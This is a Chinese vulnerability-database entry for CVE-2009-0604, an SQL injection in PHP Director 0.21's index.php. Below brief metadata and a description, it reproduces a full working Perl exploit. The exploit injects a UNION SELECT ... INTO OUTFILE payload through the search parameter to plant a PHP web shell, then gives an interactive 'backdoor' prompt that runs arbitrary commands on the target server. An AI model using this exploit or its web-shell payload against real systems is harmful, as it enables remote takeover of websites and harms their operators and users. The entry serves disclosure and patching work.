PHP Director 'index.php'SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117374 漏洞类型 SQL注入
发布时间 2009-02-09 更新时间 2009-02-17
CVE编号 CVE-2009-0604 CNNVD-ID CNNVD-200902-366
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/8014
https://cxsecurity.com/issue/WLB-2009020198
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-366
|漏洞详情
PHPDirector是专门为视频内容开发的内容管理系统(CMS)软件。PHPDirector0.21版本及其早期版本的index.php中存在SQL注入漏洞。远程攻击者可以借助搜索参数,执行任意SQL指令。
|漏洞EXP
--+++===================================================================+++--
--+++====== PHP Director <= 0.21 Remote Command Execution Exploit ======+++--
--+++===================================================================+++--

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub clear
{
	my $out = $_ [0];
	$out =~ s/.+?xx//;
	$out =~ s/xx.+//;
	return $out;
}

sub usage
{
	print   "\nPHP Director <= 0.21 Remote Command Execution Exploit".
		"\n[+] Author: darkjoker".
		"\n[+] Site  : http://darkjoker.net23.net".
		"\n[+] Download: http://downloads.sourceforge.net/phpdirector/PHPDirector-Install-0.21-.zip?modtime=1181090906&big_mirror=0".
		"\n[+] Usage   : perl ${0} <hostname> <cms path> <shell destination>".
		"\n[+] Ex.     : perl ${0} localhost /PHPDirector /opt/lampp/htdocs/PHPDirector".
		"\n[+] Notes   : <shell destination> must be the same directory where CMS is hosted".
		"\n\n";
	exit ();
}

sub send_shell
{
	my ($host, $path, $disc_path) = @_;
	my $sock = new IO::Socket::INET (
		PeerHost => $host,
		PeerPort => 80,
		Proto    => "tcp",
	) or die "[-] Exploit failed.\n";
	my $sql_code = "searching=x' UNION SELECT 1,'xx<? system (\$_GET [cmd]); ".
		    "?>xx', 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 INTO ".
		    "OUTFILE '${disc_path}/shell.php' FROM pp_files#";
	my $post = "POST ${path}/index.php HTTP/1.1\r\n".
		"Host: ${host}\r\n".
		"Connection: Close\r\n".
		"Content-Length: ". length ($sql_code) . "\r\n".
		"Content-Type: application/x-www-form-urlencoded\r\n\r\n".
		$sql_code;
	print $sock $post;
	close ($sock);
}

my ($host, $path, $disc_path) = @ARGV;
usage unless ($disc_path);
$disc_path = "../"x10 . $disc_path;
send_shell ($host, $path, $disc_path);
print "Delete this shell after use.\n'quit' command to exit\n\n";
my $cmd;
while (1)
{
	print "backdoor\@${host}: \$ ";
	$cmd = <STDIN>;
	chomp $cmd;
	$cmd =~ s/ /%20/g;
	exit if ($cmd =~ /quit/);
	my $sock = new IO::Socket::INET (
		PeerHost => $host,
		PeerPort => 80,
		Proto    => "tcp",
	);
	my $get = "GET ${path}/shell.php?cmd=${cmd}\r\n\r\n";
	print $sock $get;
	my $x;
	$x .= $_ while (<$sock>);
	$x = clear ($x);
	print $x;
	close ($sock);
}

# milw0rm.com [2009-02-09]
|参考资料

来源:BID
名称:33694
链接:http://www.securityfocus.com/bid/33694
来源:MILW0RM
名称:8014
链接:http://www.milw0rm.com/exploits/8014
来源:VUPEN
名称:ADV-2009-0379
链接:http://www.frsirt.com/english/advisories/2009/0379